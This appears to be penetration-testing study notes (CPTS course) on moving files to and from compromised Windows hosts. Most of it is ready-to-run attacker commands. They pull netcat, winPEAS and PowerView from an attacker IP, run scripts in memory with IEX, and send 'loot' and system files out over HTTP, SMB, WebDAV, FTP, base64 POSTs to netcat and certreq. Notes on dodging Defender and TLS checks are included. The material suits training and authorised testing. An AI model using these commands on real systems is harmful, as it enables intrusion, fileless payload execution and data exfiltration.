~/transfer-windows

Windows Transfers

CPTS Notes5 min read

Download with PowerShell or curl.exe over HTTP first. Use SMB when outbound 445 is open, and give the share a username and password. Upload with curl.exe -F to uploadserver, or copy to your SMB share. certutil and bitsadmin work from cmd, but Defender flags certutil downloads.

The servers for each method are in Serving Files.

Download

PowerShell

Save a file to disk:

# download with Invoke-WebRequest
Invoke-WebRequest http://10.10.14.20/nc.exe -OutFile C:\Users\Public\nc.exe -UseBasicParsing
# download with Net.WebClient
(New-Object Net.WebClient).DownloadFile('http://10.10.14.20/nc.exe','C:\Users\Public\nc.exe')

iwr and wget are aliases of Invoke-WebRequest. -OutFile saves the response to a file. -UseBasicParsing skips the Internet Explorer engine. Net.WebClient works in every PowerShell version and downloads faster than Invoke-WebRequest.

Run a script in memory, with no copy on disk:

IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.20/PowerView.ps1') # run with Net.WebClient
(iwr http://10.10.14.20/PowerView.ps1 -UseBasicParsing).Content | IEX # run with Invoke-WebRequest

IEX is the alias of Invoke-Expression. It runs a string as PowerShell code.

Error Fix
Internet Explorer engine is not available Add -UseBasicParsing
Security prompt about script code in the page, PowerShell 5.1 after December 2025 Add -UseBasicParsing. The prompt cancels on Enter and hangs a shell with no input
Could not establish trust relationship for the SSL/TLS secure channel Run [Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} first. PowerShell 7 takes -SkipCertificateCheck
Could not create SSL/TLS secure channel Run [Net.ServicePointManager]::SecurityProtocol = 'Tls12' first

curl.exe

Windows 10 1803 and Server 2019 and later include curl.exe:

REM download with curl.exe
curl.exe -o C:\Users\Public\nc.exe http://10.10.14.20/nc.exe

In Windows PowerShell, curl is an alias of Invoke-WebRequest. Type curl.exe to run the real curl.

SMB

With the Impacket share running, copy the file:

REM copy from the share
copy \\10.10.14.20\share\nc.exe C:\Users\Public\nc.exe

Run a binary from the share, with no copy on disk:

REM run from the share
\\10.10.14.20\share\winPEASx64.exe

An error about unauthenticated guest access means Windows blocks guest logins. Start the share with -username and -password, then map it:

REM map the share to n: with a login
net use n: \\10.10.14.20\share /user:user pass
REM copy from the mapped drive
copy n:\nc.exe C:\Users\Public\nc.exe
REM remove the mapping
net use n: /delete

Windows 11 24H2 and Server 2025 require SMB signing by default. If the authenticated share still fails, use HTTP.

certutil

REM fetch the URL and save it
certutil -urlcache -f http://10.10.14.20/nc.exe C:\Users\Public\nc.exe
REM same, through another code path
certutil -verifyctl -f http://10.10.14.20/nc.exe C:\Users\Public\nc.exe

Defender detects certutil downloads as Trojan:Win32/Ceprolad. Use it on hosts without Defender, or when nothing else runs.

BITS

REM download with BITS
bitsadmin /transfer job /priority foreground http://10.10.14.20/nc.exe C:\Users\Public\nc.exe
# download with BITS
Start-BitsTransfer -Source http://10.10.14.20/nc.exe -Destination C:\Users\Public\nc.exe

job is a job name of your choice. /priority foreground starts the download at once. The local path must be absolute.

FTP

# download over FTP
(New-Object Net.WebClient).DownloadFile('ftp://10.10.14.20/nc.exe','C:\Users\Public\nc.exe')

A shell that is not interactive cannot answer the ftp prompts. Write the commands to a file and run it:

REM write the ftp command file
echo open 10.10.14.20> ftp.txt
echo USER anonymous>> ftp.txt
echo binary>> ftp.txt
echo GET nc.exe>> ftp.txt
echo bye>> ftp.txt
REM run the commands in ftp.txt
ftp -v -n -s:ftp.txt

-n skips the automatic login, so the USER line logs in. -s: reads the commands from the file. binary keeps the bytes of an executable unchanged. There is no space before >, because echo writes that space into the file.

Upload

curl.exe

Send a file to uploadserver:

REM upload the hosts file
curl.exe -F "files=@C:\Windows\System32\drivers\etc\hosts" http://10.10.14.20/upload

PowerShell

PowerShell 7 sends a multipart form itself:

# upload loot.zip as a multipart form
Invoke-RestMethod http://10.10.14.20/upload -Method Post -Form @{files = Get-Item C:\Users\Public\loot.zip}

Windows PowerShell 5.1 has no -Form. Load the PSUpload.ps1 script and run its upload function:

IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.20/PSUpload.ps1') # load PSUpload.ps1 in memory
Invoke-FileUpload -Uri http://10.10.14.20/upload -File C:\Users\Public\loot.zip # upload loot.zip

Keep a copy of PSUpload.ps1 on your attack host.

Send a file as base64 to a nc listener, with no upload server:

$b64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\Public\loot.zip')) # encode the file
Invoke-WebRequest http://10.10.14.20:8000/ -Method Post -Body $b64 -UseBasicParsing # post it as the body

On your attack host, catch the request. Copy the body into a file, then decode it:

nc -lvnp 8000 # print the request
base64 -d body.b64 > loot.zip # decode the copied body

SMB and WebDAV

Copy a file to your Impacket share:

REM copy to the share
copy C:\Users\Public\loot.zip \\10.10.14.20\share\

When a firewall blocks outbound 445, copy to wsgidav over HTTP:

REM copy to the WebDAV root
copy C:\Users\Public\loot.zip \\10.10.14.20\DavWWWRoot\

DavWWWRoot is a keyword for the root of the WebDAV server. No folder of that name exists. The WebClient service handles these paths. Windows desktop editions include it. Server editions need the WebDAV Redirector feature.

FTP

Start pyftpdlib with -w, then:

# upload the hosts file over FTP
(New-Object Net.WebClient).UploadFile('ftp://10.10.14.20/hosts', 'C:\Windows\System32\drivers\etc\hosts')

In an ftp command file, use PUT <local file> in place of GET.

LOLBAS

LOLBAS lists Windows binaries with hidden download and upload functions. Search /download or /upload on the site.

certreq posts a file to any URL. Catch it on your attack host:

nc -lvnp 8000 # print the request

Post the file from the target:

REM post win.ini to the listener
certreq -Post -config http://10.10.14.20:8000/ C:\Windows\win.ini

The file content arrives as the request body. It suits text files. An old certreq has no -Post option.